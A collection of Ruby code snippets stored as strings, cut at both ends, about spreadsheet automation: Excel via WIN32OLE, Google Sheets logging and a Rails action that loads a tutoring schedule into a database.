ws.Range(\"b5:b7\")['Value'].map{|x|x.to_s.to_i}\r\n\r\ndata_row = 2 # first data row\r\nwhile data_row <= iter +1\r\n row = 2 # first oid row\r\n data_col = \"ae\" # is first data column -1\r\n data = [] # (re)initialize array\r\n # Collect all of the snmp data into a single array\r\n ws.range(\"k#{row}:k#{rows +1}\")['Value'].each do|oid|\r\n data = data.to_a + snmpget(com,ip,mib,oid.to_s).split(/ /).push\r\n data_col = data_col.next\r\n end\r\n # write all of the snmp data to a range of cells\r\n ws.Range(\"af#{data_row}:#{data_col}#{data_row}\")['Value'] = data\r\n ws.Columns(\"af:#{data_col}\").Autofit\r\n wb.save\r\n data_row +=1\r\n sleep (dly)if data_row <= iter +1 # sleep each iteration except last\r\nend\r\nf = Time.now\r\ntear_down_d(excel[0],s,f)\r\n\r\n\r\n", "def create\n show_windows_for_period\n @start_date = get_date_for(RegistrationWindowsConstants::DATE_BOUND_START, @start_date, @period_key)\n @end_date = get_date_for(RegistrationWindowsConstants::DATE_BOUND_END, @end_date, @period_key)\n\n puts \"Adding Registration Window #{@appointment_window_info_name} for Period #{@period_key}. Start Date = #{@start_date} and End Date = #{@end_date}\"\n on RegistrationWindowsCreate do |page|\n page.appointment_window_info_name.set @appointment_window_info_name\n if (page.period_key.exists?)\n page.period_key.select @period_key\n end\n page.assigned_population_name.set @assigned_population_name\n #page.start_date.set get_date_for(RegistrationWindowsConstants::DATE_BOUND_START, @start_date, @period_key)\n page.start_date.set @start_date\n page.start_time.set @start_time\n page.start_time_am_pm.select @start_time_am_pm\n #page.end_date.set get_date_for(RegistrationWindowsConstants::DATE_BOUND_END, @end_date, @period_key)\n page.end_date.set @end_date\n page.end_time.set @end_time\n page.end_time_am_pm.select @end_time_am_pm\n page.window_type_key.select @window_type_key\n page.loading.wait_while_present\n if (page.max_appointments_per_slot.present?)\n page.max_appointments_per_slot.set @max_allocation\n end\n if (page.slot_rule_enum_type.present?)\n page.slot_rule_enum_type.select @slot_rule_enum_type\n end\n page.add\n while true\n begin\n sleep 1\n wait_until { page.window_collection_table.exists? }\n break\n rescue Selenium::WebDriver::Error::StaleElementReferenceError\n puts \"rescued StaleElementReferenceError\"\n end\n end\n end\n\n end", "def create_new_sheet(date, new_spreadsheet_id)\n #make copy of template sheet to new spreadsheet\n new_sheet_id = copy_sheet(new_spreadsheet_id)\n \n #set the name of that sheet\n set_name_of_sheet(date.day.to_s, new_sheet_id, new_spreadsheet_id)\n \n #set the date on the sheet\n set_date_of_sheet(date, new_spreadsheet_id)\nend", "def new_xls(s_s) #wb name and sheet number\n ss = WIN32OLE::new('excel.Application')\n wb = ss.Workbooks.Open(s_s)\n ws = wb.Worksheets(1)\n ss.visible = true # For debug\n xls = [ss,wb,ws]\n\nend", "def fill_timesheet\n rows = []\n last_date = nil\n filled_in = false\n\n parse_timesheet.each do |data|\n department = data[6]\n employee_id = data[7]\n date = Date.parse(CGI.unescape(data[1])).strftime('%m/%d/%Y')\n\n # skip days with data already filled (like holidays)\n if data[0].to_i > 0 or (filled_in and date == last_date) then\n filled_in = true\n last_date = date\n next\n end\n\n filled_in = false\n\n start, finish = starting_and_ending_timestamp date, last_date\n\n rows << [\n '0', '', 'False', 'True', 'False', 'False', 'False',\n \"#{date} 12:00:00 AM\",\n start, '',\n finish,\n '8', '',\n department,\n employee_id,\n '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '',\n '', '', '', 'EDIT', '', '', '', '', '2', '', '0', 'False'\n ]\n\n # This reset is for the timestamp calculations.\n last_date = date\n end\n\n @page = @page.form('Form1') { |form|\n ## FIXME: Fill out this form\n form['hdnRETURNDATA'] = rows.map { |row|\n row.map { |value|\n CGI.escape(value)\n }.join('~~')\n }.join('~||~')\n\n form['__EVENTTARGET'] = 'TG:btnSubmitTop'\n form['__PageDirty'] = 'True'\n }.submit\n end", "def write_ca_info_to_spreadsheet(timeslot)\n #...\nend", "def create\n @worksheet = Worksheet.new(worksheet_params)\n @worksheet.client.client_last_visit = Time.now\n @worksheet.client.client_rating = (Client.last.client_rating.to_i + 1)\n @worksheet.client.user_id = User.find_by_email(\"#{@current_user.email}\").id\n respond_to do |format|\n if @worksheet.save\n format.html { redirect_to @worksheet, notice: 'Worksheet was successfully created.' }\n format.json { render :show, status: :created, location: @worksheet }\n else\n format.html { render :new }\n format.json { render json: @worksheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_int_page\n open_new_tab(Constants::INT_PAGE)\n sleep 5\n button_click(LOCATOR['RWDS_TAB'])\n switch_frame\n button_click(LOCATOR['ERN_PTS'])\n p text_displayed?(LOCATOR['ACT_NM'], 'Account Creation')\n switch_back\n @driver.close\n end", "def log_to_sheet(sess_acc)\n puts \"\\n Logging...\"\n session = GoogleDrive.saved_session(\"config.json\")\n ws = session.spreadsheet_by_key(\"1wobNyZYGm1G5gPzC9vM5MxfNBRnZZZEUrV0SmWFtHpI\").worksheets[1]\n ws.insert_rows(2,1)\n ws.update_cells(2,1,[[sess_acc[\"date\"],sess_acc[\"time\"],sess_acc[\"session_id\"]]])\n ws.save\n puts \" Logged: https://docs.google.com/spreadsheets/d/1wobNyZYGm1G5gPzC9vM5MxfNBRnZZZEUrV0SmWFtHpI/edit?usp=sharing\"\nend", "def saop\n save_and_open_page\n end", "def loadschedule\n logger.debug \"in loadschedule\"\n # log levels are: :debug, :info, :warn, :error, :fatal, and :unknown, corresponding to the log level numbers from 0 up to 5\n #logger.fatal \"1.log level\" + Rails.logger.level.inspect\n #service = googleauthorisation(request)\n returned_authorisation = googleauthorisation(request)\n if returned_authorisation[\"authorizationurl\"]\n redirect_to returned_authorisation[\"authorizationurl\"] and return\n end\n service = returned_authorisation[\"service\"]\n #spreadsheet_id = '1CbtBqeHyYb9jRmROCgItS2eEaYSwzOMpQZdUWLMvjng'\n #sheet_name = 'WEEK 1'\n spreadsheet_id = current_user[:ssurl].match(/spreadsheets\\/d\\/(.*?)\\//)[1]\n sheet_name = current_user[:sstab]\n colsPerSite = 7\n # first get sites from the first row\n range = \"#{sheet_name}!A3:AP3\"\n holdRailsLoggerLevel = Rails.logger.level\n Rails.logger.level = 1 \n response = service.get_spreadsheet_values(spreadsheet_id, range)\n Rails.logger.level = holdRailsLoggerLevel \n # extract the key for this week e.g. T3W1\n myrow = response.values[0]\n week = myrow[0] # this key is used over and over\n # pick up the sites\n sites = Hash.new() # array holding all sites\n # index = site name\n # col_start = first column for site\n myrow.map.with_index do |v, i|\n sites[v[/\\w+/]] = {\"col_start\" => i-1} if v != \"\" && v != week\n end\n\n #this function converts spreadsheet indices to column name\n # examples: e[0] => A; e[30] => AE \n e=->n{a=?A;n.times{a.next!};a} \n \n #---------------------------------------------\n # We now need to work through the sites by day\n # and tutorial slots\n # We will load a spreadsheet site at a time\n #sites # array holding all sites\n # index = site name\n # col_start = first column for site\n #days # array of rows numbers starting the day\n #slottimes # array of row number starting each slot\n # index = row number, values = ssdate\n # and datetime = datetime of the slot\n # @schedule array holds all the info required for updating \n # the database and displaying the results\n @schedule = Array.new()\n #These arrays and hashes are used within the sites loop\n #They get cloned and cleared during iterations\n onCall = Array.new()\n onSetup = Array.new()\n requiredSlot = Hash.new()\n thisLesson = Hash.new()\n flagProcessingLessons = false # need to detect date to start\n # @allColours is used in the view\n # It is used to show all colors used in the google schedule\n # Analysis tool.\n @allColours = Hash.new()\n # work through our sites, reading spreadsheet for each\n # and extract the slots, lessons, tutors and students\n # We also get the lesson notes.\n # At the beginning of each day, we get the on call and\n # setup info\n sites.each do |si, sv| # site name, {col_start}\n mystartcol = e[sv[\"col_start\"]]\n myendcol = e[sv[\"col_start\"] + colsPerSite - 1]\n #myendcoldates = e[sv[\"col_start\"] + 1] \n # ****************** temp seeting during development\n # restrict output for testing and development\n #range = \"#{sheet_name}!#{mystartcol}3:#{myendcol}60\"\n #rangedates = \"#{sheet_name}!#{mystartcol}3:#{mystartcol}60\"\n # becomes for production\n range = \"#{sheet_name}!#{mystartcol}3:#{myendcol}\"\n rangedates = \"#{sheet_name}!#{mystartcol}3:#{mystartcol}\"\n Rails.logger.level = 1 \n response = service.get_spreadsheet(\n spreadsheet_id,\n ranges: range,\n fields: \"sheets(data.rowData.values\" + \n \"(formattedValue,effectiveFormat.backgroundColor))\"\n )\n \n responsedates = service.get_spreadsheet_values(\n spreadsheet_id,\n rangedates,\n {value_render_option: 'UNFORMATTED_VALUE',\n date_time_render_option: 'SERIAL_NUMBER'\n }\n )\n \n Rails.logger.level = holdRailsLoggerLevel\n # Now scan each row read from the spreadsheet in turn\n logger.debug \"processing data from spreadsheet by rows.\"\n response.sheets[0].data[0].row_data.map.with_index do |r, ri|\n # r = value[] - contains info for ss cell - content & colour,\n # ri = row index\n #\n # FOR ANALYSIS ONLY - not for loading database\n # To analyse all the colours used in the spreadsheet,\n # we store all background colours from relevant cells.\n # Show them at the end to see if some are not what they\n # should be - manual inspection.\n # use: cell_background_color = getformat.call(column_index)\n storecolours = lambda{|j| \n cf = nil\n if r.values[j]\n if r.values[j].effective_format\n cf = r.values[j].effective_format.background_color\n end\n end\n # store all colours and keep count of how often\n # also, keep location of first occurance\n if cf != nil\n #col = [cf.red,cf.green,cf.blue]\n col = colourToArray(cf)\n @allColours[col] ? \n @allColours[col][2] += 1 :\n @allColours[col] = [e[j + sv[\"col_start\"]],3+ri,1]\n end\n }\n # Now start processing the row content\n c0 = getvalue(r.values[0])\n if c0 == week # e.g. T3W1 - first row of the day \n storecolours.call(1)\n next\n end\n if c0 == \"ON CALL\" # we are on \"ON CALL\" row\n storecolours.call(1)\n for i in 1..7 do # keep everything on this row\n cv = getvalue(r.values[i])\n onCall.push(cv) if cv != \"\"\n end\n next\n end\n if c0 == \"SETUP\" # we are on \"ON CALL\" row e.g. T3W1\n storecolours.call(1)\n for i in 1..7 do # keep everything on row\n cv = getvalue(r.values[i])\n onSetup.push(cv) if cv != \"\"\n end\n next\n end\n # look for date row - first row for slot e.g 7/18/2016\n if c0.match(/(\\d+)\\/(\\d+)\\/(\\d+)/)\n cf1 = getformat(r.values[1])\n # If this cell with day/time content is black,\n # then this slot is not used.\n # just skip - any onCall or onSetup already found will be\n # put into the first valid slot.\n if colourToStatus(cf1)['colour'].downcase != 'white'\n flagProcessingLessons = false\n next\n else\n flagProcessingLessons = true\n end\n # we are now working with a valid slot\n unless requiredSlot.empty?\n @schedule.push(requiredSlot.clone)\n requiredSlot.clear\n end\n #now get the matching date from the responsedates array\n mydateserialnumber = responsedates.values[ri][0]\n \n begin\n mydate = Date.new(1899, 12, 30) + mydateserialnumber \n c1 = getvalue(r.values[1])\n n = c1.match(/(\\w+)\\s+(\\d+)\\:*(\\d{2})/im) # MONDAY 330 xxxxxxx\n # Note: add 12 to hours as these are afternoon sessions.\n # Check for ligimate dates\n myhour = n[2].to_i\n mymin = n[3].to_i\n #dt1 = DateTime.new(mydate.year, mydate.month, mydate.day,\n # 1, 1)\n #dt2 = DateTime.new(2000, 1, 1,\n # myhour + 12, mymin)\n dt = DateTime.new(mydate.year, mydate.month, mydate.day,\n myhour + 12, mymin)\n rescue \n\n errorSite = si\n #errorRow = ri + 3\n myerror = \"Load Schedule - data processing error: \" +\n \" found in site: \" + errorSite +\n \" c0: \" + c0.inspect +\n \" c1: \" + c1.inspect +\n \" mydateserialnumber: \" + mydateserialnumber.inspect +\n \" error message: \" + $!.inspect\n logger.debug myerror\n flash[:notice] = myerror\n render action: :load\n return\n end\n requiredSlot[\"timeslot\"] = dt # adjust from am to pm.\n requiredSlot[\"location\"] = si\n logger.debug \"working with \" + si.inspect + ' ' + dt.inspect\n # Now that we have a slot created, check if this has been\n # the first one for the day. i.e. there are on call and setup events\n # If so, we make them into a lesson and add them to the slot.\n # Delete them when done.\n if(!onCall.empty? || !onSetup.empty?)\n requiredSlot[\"onCall\"] = onCall.clone unless onCall.empty?\n requiredSlot[\"onSetup\"] = onSetup.clone unless onSetup.empty?\n onCall.clear\n onSetup.clear\n end\n next\n end\n # any other rows are now standard lesson rows\n # If no date row yet detected or\n # this is not a valid slot (black background on date row)\n # we ignore\n next if flagProcessingLessons == false\n # Now do normal lession processing.\n c1 = getvalue(r.values[1]) # tutor\n c2 = getvalue(r.values[2]) # student 1\n c4 = getvalue(r.values[4]) # student 2\n c6 = getvalue(r.values[6]) # lesson comment\n cf1 = getformat(r.values[1])\n cf2 = getformat(r.values[2])\n cf4 = getformat(r.values[4])\n # store colours for cells of interest\n [1,2,3,4,5,6].each do |j|\n storecolours.call(j)\n end\n thisLesson[\"tutor\"] = [c1,cf1] if c1 != \"\"\n if c2 != \"\" || c4 != \"\" #student/s present\n thisLesson[\"students\"] = Array.new()\n thisLesson[\"students\"].push([c2,cf2]) if c2 != \"\"\n thisLesson[\"students\"].push([c4,cf4]) if c4 != \"\"\n end\n thisLesson[\"comment\"] = c6 if c6 != \"\"\n requiredSlot[\"lessons\"] = Array.new() unless requiredSlot[\"lessons\"]\n requiredSlot[\"lessons\"].push(thisLesson.clone) unless thisLesson.empty?\n thisLesson.clear\n end\n # at end of last loop - need to keep if valid slot\n unless requiredSlot.empty?\n @schedule.push(requiredSlot.clone)\n requiredSlot.clear\n end\n #break # during dev only - only doing one site\n end\n # cache the tutors and students for laters processing by the utilities.\n @tutors = Tutor.all\n @students = Student.all\n \n # Now start the database updates using the info in @schedule\n # Note:\n # my... = the info extracted from @schedule\n # this... = the database record \n \n # slot info\n @schedule.each do |r|\n # These are initialise on a row by row basis\n r[\"slot_updates\"] = \"\"\n r[\"onCallupdates\"] = \"\"\n r[\"onSetupupdates\"] = \"\"\n r[\"commentupdates\"] = \"\"\n # Process the slot\n mylocation = r[\"location\"]\n mytimeslot = r[\"timeslot\"] \n thisslot = Slot.where(location: mylocation, timeslot: mytimeslot).first\n unless thisslot # none exist\n thisslot = Slot.new(timeslot: mytimeslot, location: mylocation)\n if thisslot.save\n r[\"slot_updates\"] = \"slot created\"\n else\n r[\"slot_updates\"] = \"slot creation failed\"\n end\n else\n r[\"slot_updates\"] = \"slot exists - no change\"\n end\n # Now load lessons (create or update)\n # first up is the \"On Call\"\n # these will have a lesson status of \"oncall\"\n # [\"DAVID O\\n| E12 M12 S10 |\"]\n if(mylesson = r[\"onCall\"])\n logger.debug \"mylesson - r onCall: \" + mylesson.inspect\n mytutornamecontent = findTutorNameComment(mylesson, @tutors)\n # check if there was a tutor found.\n # If not, then we add any comments to the lesson comments.\n lessoncomment = \"\"\n if mytutornamecontent[0] == nil\n lessoncomment = mylesson[0]\n elsif mytutornamecontent[0][\"name\"] == \"\" && \n mytutornamecontent[0][\"comment\"].strip != \"\"\n lessoncomment = mytutornamecontent[0][\"comment\"]\n end\n if lessoncomment != \"\" ||\n (\n mytutornamecontent[0] != nil &&\n mytutornamecontent[0][\"name\"] != \"\"\n )\n # something to put in lesson so ensure it exists - create if necessary\n thislesson = Lesson.where(slot_id: thisslot.id, status: \"onCall\").first\n unless thislesson\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: \"onCall\",\n comments: lessoncomment)\n if thislesson.save\n r[\"onCallupdates\"] += \"|lesson created #{thislesson.id}|\"\n else\n r[\"onCallupdates\"] += \"|lesson creation failed|\"\n end\n end\n end\n # Now load in the tutors - if any\n mytutornamecontent.each do |te|\n logger.debug \"mytutornameconent - te: \" + te.inspect\n # need tutor record - know it exists if found here\n if te['name']\n # create a tutrole record if not already there\n thistutor = Tutor.where(pname: te['name']).first # know it exists\n mytutorcomment = te['comment']\n # determine if this tutrole already exists\n thistutrole = Tutrole.where(lesson_id: thislesson.id,\n tutor_id: thistutor.id\n ).first\n if thistutrole # already there\n if thistutrole.comment == mytutorcomment &&\n thistutrole.status == \"\" &&\n thistutrole.kind == \"onCall\"\n r[\"onCallupdates\"] += \"|no change|\"\n else\n if thistutrole.comment != mytutorcomment\n thistutrole.update(comment: mytutorcomment)\n end\n if thistutrole.status != \"\"\n thistutrole.update(status: \"\")\n end\n if thistutrole.kind != \"onSetup\"\n thistutrole.update(kind: \"onSetup\")\n end\n if thistutrole.save\n r[\"onCallupdates\"] += \"|updated tutrole|\"\n else\n r[\"onCallupdates\"] += \"|update failed|\"\n end\n end\n else # need to be created\n thistutrole = Tutrole.new(lesson_id: thislesson.id,\n tutor_id: thistutor.id,\n comment: mytutorcomment,\n status: \"\",\n kind: \"onCall\")\n if thistutrole.save\n r[\"onCallupdates\"] += \"|tutrole created #{thistutrole.id}|\"\n else\n r[\"onCallupdates\"] += \"|tutrole creation failed|\"\n end\n end\n end\n end\n end\n # second up is the \"Setup\"\n # these will have a lesson status of \"onsetup\"\n # [\"DAVID O\\n| E12 M12 S10 |\"]\n if(mylesson = r[\"onSetup\"])\n mytutornamecontent = findTutorNameComment(mylesson, @tutors)\n # check if there was a tutor found.\n # If not, then we add any comments to the lesson comments.\n lessoncomment = \"\"\n if mytutornamecontent[0][\"name\"] == \"\" && \n mytutornamecontent[0][\"comment\"].strip != \"\"\n lessoncomment = mytutornamecontent[0][\"comment\"]\n end\n if mytutornamecontent[0][\"name\"] != \"\" || \n lessoncomment != \"\"\n # something to put in lesson so ensure it exists - create if necessary\n thislesson = Lesson.where(slot_id: thisslot.id, status: \"onSetup\").first\n unless thislesson\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: \"onSetup\",\n comments: lessoncomment)\n if thislesson.save\n r[\"onSetupupdates\"] += \"|created lession #{thislesson.id}|\"\n else\n r[\"onSetupupdates\"] += \"|create lession failed|\"\n end\n end\n end\n # Now load in the tutors - if any\n mytutornamecontent.each do |te|\n # need tutor record - know it exists if found here\n if te['name']\n # create a tutrole record if not already there\n thistutor = Tutor.where(pname: te['name']).first # know it exists\n mytutorcomment = te['comment']\n # determine if this tutrole already exists\n thistutrole = Tutrole.where(lesson_id: thislesson.id,\n tutor_id: thistutor.id\n ).first\n if thistutrole # already there\n if thistutrole.comment == mytutorcomment &&\n thistutrole.status == \"\" &&\n thistutrole.kind == \"onSetup\"\n r[\"onSetupupdates\"] += \"|no change #{thistutrole.id}|\"\n else\n if thistutrole.comment != mytutorcomment\n thistutrole.update(comment: mytutorcomment)\n end\n if thistutrole.status != \"\"\n thistutrole.update(status: \"\")\n end\n if thistutrole.kind != \"onSetup\"\n thistutrole.update(kind: \"onSetup\")\n end\n if thistutrole.save\n r[\"onSetupupdates\"] += \"|updated tutrole #{thistutrole.id}|\"\n else\n r[\"onSetupupdates\"] += \"|update failed|\"\n end\n end\n else # need to be created\n thistutrole = Tutrole.new(lesson_id: thislesson.id,\n tutor_id: thistutor.id,\n comment: mytutorcomment,\n status: \"\",\n kind: \"onSetup\")\n if thistutrole.save\n r[\"onSetupupdates\"] += \"|tutrole created #{thistutrole.id}|\"\n else\n r[\"onSetupupdates\"] += \"|tutrole creation failed|\"\n end\n end # if thistutrole\n end\n end\n end # end onSetup \n # third is standard lessons\n # these will have a lesson status of that depends on colour\n # which gets mapped into a status\n # [\"DAVID O\\n| E12 M12 S10 |\"]\n # mylessons = \n #[{tutor =>[name, colour], \n # students=>[[name, colour],[name, colour]],\n # comment => \"\"\n # }, ...{}... ]\n #\n #\n #{\"tutor\"=>[\"ALLYSON B\\n| M12 S12 E10 |\",\n # #<Google::Apis::SheetsV4::Color:0x00000003ef3c80 \n # @blue=0.95686275, @green=0.7607843, @red=0.6431373>],\n # \"students\"=>[\n # [\"Mia Askew 4\", \n # #<Google::Apis::SheetsV4::Color:0x00000003edeab0 \n # @blue=0.972549, @green=0.85490197, @red=0.7882353>],\n # [\"Emily Lomas 6\", \n # #<Google::Apis::SheetsV4::Color:0x00000003eb06d8 \n # @blue=0.827451, @green=0.91764706, @red=0.8509804>]],\n # \"comment\"=>\"Emilija away\"\n #}\n #\n\n # first we need to see if there are already lessons\n # for this tutor in this slot (except Setup & oncall)\n # Check procedure\n # 1. Get all lessons from database in this slot\n # 2. From the database for these lessons, we cache\n # a) all the tutroles (tutors) \n # b) all the roles (students)\n # Tutroles query excludes status \"onSetup\" & \"onCall\"\n # Note: tutroles hold: sessin_id, tutor_id, status, comment\n # 3. Loop through each lesson from the spreadsheet and check\n # Note: if tutor in ss, but not found in database, then add\n # as a comment; same for students\n # a) if tutor or student in the ss for this lesson has either\n # a tutor or student in the database, then that is the \n # lesson to use, ELSE we create a new lesson.\n # This is then the lesson we use for the following steps\n # b) for my tutor in ss, is there a tutrole with this tutor\n # If so, update the tutrole with tutor comments (if changed)\n # If not,\n # i) create a lesson in this slot\n # ii) create a tutrole record linking lesson and tutor\n # Note 1: This lesson is then used for the students.\n # If a student is found in a different lesson in this\n # slot, then they are moved into this lesson.\n # Note 2: there could be tutrole records in db that are not in ss.\n # ---------------------------------------------------------------------\n # Step 1: get all the lessons in this slot\n thislessons = Lesson.where(slot_id: thisslot.id)\n # Step 2: get all the tutrole records for this slot\n # and all the role records for this slot\n alltutroles = Tutrole.where(lesson_id: thislessons.ids).\n where.not(kind: ['onSetup', 'onCall'])\n allroles = Role.where(lesson_id: thislessons.ids)\n # Step 3:\n if(mylessons = r[\"lessons\"]) # this is all the standard\n # ss lessons in this slot\n mylessons.each do |mysess| # treat lesson by lesson from ss\n # process each ss lesson row\n thislesson = nil # ensure all reset\n mylessoncomment = \"\"\n mylessonstatus = \"standard\" # default unless over-ridden\n #\n # Process Tutors, then students, then comments\n # A sesson can have only comments without tutors & students\n #\n # Step 3a - check if tutors present\n # if so, this is the lesson to hang onto.\n # Will check later if the students are in the same lesson.\n flagtutorpresent = flagstudentpresent = FALSE\n #\n # Process tutor\n #\n mytutor = mysess[\"tutor\"] # only process if tutor exists\n # mytutor[0] is ss name string,\n # mytutor[1] is colour\n # mytutor[2] will record the view feedback\n mytutorcomment = \"\" # provide full version in comment\n tutroleupdates = \"\" # feedback for display in view\n if mytutor \n mytutorcomment = mytutor[0]\n mytutornamecontent = findTutorNameComment(mytutor[0], @tutors) \n mytutorstatus = colourToStatus(mytutor[1])[\"tutor-status\"]\n mytutorkind = colourToStatus(mytutor[1])[\"tutor-kind\"]\n if mytutorkind == 'BFL'\n mylessonstatus = 'on_BFL'\n end\n if mytutornamecontent.empty? || # no database names found for this tutor\n mytutornamecontent[0]['name'] == \"\"\n # put ss name cell content into lesson comment\n mylessoncomment += mytutor[0] \n else\n flagtutorpresent = TRUE\n # We have this tutor\n # Find all the tutroles this tutor - this will link\n # to all the lessons this tutor is in.\n # thisslot is the slot we are current populating\n thistutor = Tutor.where(pname: mytutornamecontent[0][\"name\"]).first\n thistutroles = alltutroles.where(tutor_id: thistutor.id)\n if thistutroles.empty? # none there, so create one\n # Step 4ai: Create a new lesson containing\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: mylessonstatus)\n if thislesson.save\n tutroleupdates += \"|lesson created #{thislesson.id}|\"\n else\n tutroleupdates += \"|lesson creation failed\"\n end\n thistutrole = Tutrole.new(lesson_id: thislesson.id,\n tutor_id: thistutor.id,\n comment: mytutorcomment,\n status: mytutorstatus,\n kind: mytutorkind)\n if thistutrole.save\n tutroleupdates += \"|tutrole created #{thistutrole.id}|\"\n else\n tutroleupdates += \"|tutrole creation failed|\"\n end\n else # already exist\n thistutroles.each do |thistutrole1|\n # get the lesson they are in\n thislesson = Lesson.find(thistutrole1.lesson_id)\n if thislesson[:status] != mylessonstatus\n thislesson[:status] = mylessonstatus\n if thislesson.save\n tutroleupdates += \"|updated lesson status #{thislesson.id}|\"\n else \n tutroleupdates += \"|lesson status update failed|\"\n end\n end\n if thistutrole1.comment == mytutorcomment &&\n thistutrole1.status == mytutorstatus &&\n thistutrole1.kind == mytutorkind\n tutroleupdates += \"|no change #{thistutrole1.id}|\"\n else\n if thistutrole1.comment != mytutorcomment\n #thistutrole1.update(comment: mytutorcomment)\n thistutrole1.comment = mytutorcomment end\n if thistutrole1.status != mytutorstatus\n #thistutrole1.update(status: mytutorstatus)\n thistutrole1.status = mytutorstatus\n end\n if thistutrole1.kind != mytutorkind\n #thistutrole1.update(status: mytutorkind)\n thistutrole1.status = mytutorkind\n end\n if thistutrole1.save\n tutroleupdates += \"|updated tutrole #{thistutrole1.id}|\"\n else\n tutroleupdates += \"|update failed|\"\n end\n end\n end # thistutroles.each \n end # if thistutroles.emepty?\n mytutor[2] = tutroleupdates\n end\n end\n #\n # Process students\n #\n mystudents = mysess[\"students\"]\n unless mystudents == nil || mystudents.empty? # there are students in ss\n mystudents.each do |mystudent| # precess each student\n roleupdates = \"\" # records changes to display in view\n mystudentcomment = \"\"\n mystudentstatus = colourToStatus(mystudent[1])[\"student-status\"]\n mystudentkind = colourToStatus(mystudent[1])[\"student-kind\"]\n mystudentnamecontent = findStudentNameComment(mystudent[0], @students) \n if mystudentnamecontent.empty? || # no database names found for this student\n mystudentnamecontent[0]['name'] == \"\"\n # put ss name string into lesson comment\n mylessoncomment += mystudent[0] \n else\n flagstudentpresent = TRUE # we have students\n thisstudent = Student.where(pname: mystudentnamecontent[0][\"name\"]).first\n #logger.debug \"thisstudent: \" + thisstudent.inspect\n thisroles = allroles.where(student_id: thisstudent.id)\n # CHECK if there is already a lesson from the tutor processing \n # Step 4ai: Create a new lesson ONLY if necessary\n unless thislesson\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: mylessonstatus)\n if thislesson.save\n roleupdates += \"|created lesson #{thislesson.id}|\"\n else\n roleupdates += \"|lesson creation failed|\"\n end\n end\n if thisroles.empty? # none there, so create one\n thisrole = Role.new(lesson_id: thislesson.id,\n student_id: thisstudent.id,\n comment: mystudentcomment,\n status: mystudentstatus,\n kind: mystudentkind)\n if thisrole.save\n roleupdates += \"|role created #{thisrole.id}|\"\n else\n roleupdates += \"|role creation failed|\"\n end\n else # already exist\n thisroles.each do |thisrole1|\n # An additional check for students\n # If a student is allocated to a different tutor\n # in the db, then we will move them to this tutor\n # as per the spreadsheet.\n # Note that a student cannot be in a lesson twice.\n if thislesson.id != thisrole1.lesson_id\n # move this student - update the role\n # student can only be in one lesson for a given slot.\n if thisrole1.update(lesson_id: thislesson.id)\n roleupdates += \"|role move updated #{thisrole1.id}|\"\n else\n roleupdates += \"|role move failed|\"\n end\n end\n if thisrole1.comment == mystudentcomment &&\n thisrole1.status == mystudentstatus &&\n thisrole1.kind == mystudentkind\n roleupdates += \"|no change #{thisrole1.id}|\"\n else\n if thisrole1.comment != mystudentcomment\n #thisrole1.update(comment: mystudentcomment)\n thisrole1.comment = mystudentcomment\n end\n if thisrole1.status != mystudentstatus\n #thisrole1.update(status: mystudentstatus)\n thisrole1.status = mystudentstatus\n end\n if thisrole1.kind != mystudentkind\n #thisrole1.update(status: mystudentkind)\n thisrole1.kind = mystudentkind\n end\n if thisrole1.save\n #r[\"roleupdates\"] += \"|role updated #{thisrole1.id}|\"\n roleupdates += \"|role updated #{thisrole1.id}|\"\n else\n #r[\"roleupdates\"] += \"|role update failed #{thisrole1.id}|\"\n roleupdates += \"|role update failed #{thisrole1.id}|\"\n end\n end\n end # thisroles.each \n end # if thisroles.emepty?\n end\n mystudent[2]= roleupdates\n end\n end\n #\n # Process comments\n #\n if mysess[\"comment\"]\n mycomments = mysess[\"comment\"].strip\n mylessoncomment += mycomments if mycomments != \"\"\n end\n # process comments - my have been generated elsewhere (failed tutor\n # and student finds, etc. so still need to be stored away \n if mylessoncomment != \"\" # some lesson comments exist\n # if no lesson exists to place the comments\n # then we need to build one.\n unless thislesson\n # let's see if there is a lesson with this comment\n # looking through the lessons for this slot that do\n # not have a tutor or student\n # Need the sesson that have no tutor or student - already done\n allcommentonlylessons = thislessons -\n thislessons.joins(:tutors, :students).distinct\n # now to see if this comment is in one of these\n allcommentonlylessons.each do |thiscommentlesson|\n if thiscommentlesson.comments == mylessoncomment\n thislesson = thiscommentlesson\n break\n end\n end\n end\n # see if we now have identified a lesson for this comment\n # create one if necessary\n #r[\"commentupdates\"] = \"\"\n unless thislesson\n thislesson = Lesson.new(slot_id: thisslot.id,\n status: 'standard')\n if thislesson.save\n r[\"commentupdates\"] += \"|created session for comments #{thislesson.id}|\"\n else\n r[\"commentupdates\"] += \"|created session for comments failed|\"\n end\n end\n if mylessoncomment == thislesson.comments\n r[\"commentupdates\"] += \"|no change #{thislesson.id}|\"\n else\n thislesson.update(comments: mylessoncomment)\n if thislesson.save\n r[\"commentupdates\"] += \"|updated lesson comment #{thislesson.id}|\"\n else\n r[\"commentupdates\"] += \"|lesson comment update failed #{thislesson.id}|\"\n end \n end\n end\n end\n end\n end\n end", "def create_pdf_script\n\t begin\n\t\t@text_data = \"\"\n\t if params[:dump][:excel_file] then temp = params[:dump][:excel_file].tempfile else render :index and return end\n file = File.join(\"public/rubyxl\",params[:dump][:excel_file].original_filename)\n FileUtils.cp temp.path, file\n ##debugger app = WIN32OLE.new('Excel.Application')\n\t\tWIN32OLE.ole_initialize\n app = WIN32OLE.new('Excel.Application')\n WIN32OLE.const_load(app, ExcelConst)\n @books = app.Workbooks.Open(File.expand_path(file, ENV['RAILS_ROOT']))\n savestyle = ExcelConst::XlLineStyleNone\n saveweight = ExcelConst::XlThin ##太さ\n savecolor = 0\n\t\tinit_starrt\n @books.Worksheets.each do |sheet|\n\t\t @report_code = sheet.name.downcase\n\t\t\treport = plsql.select(:first,\"select * from r_reports where pobject_code_rep = '#{@report_code}' and report_expiredate > sysdate\") \n\t\t\tif report.nil?\n @books.Close\n logger.debug\t \"line #{__LINE__} error : missing report_code #{@report_code}\"\n\t\t\t\t@text_data << \"<p>line #{__LINE__} error : missing report_code #{@report_code}</p>\"\n render :text => @text_data and return\n\t\t\tend\n\t\t\t@viewname = report[:pobject_code_view]\n if PLSQL::View.find(plsql, @viewname).nil?\n @books.Close\n\t\t\t\t@text_data << \"<p>line #{__LINE__} error : missing view #{@viewname}</p>\"\n render :text => @text_data and return\n 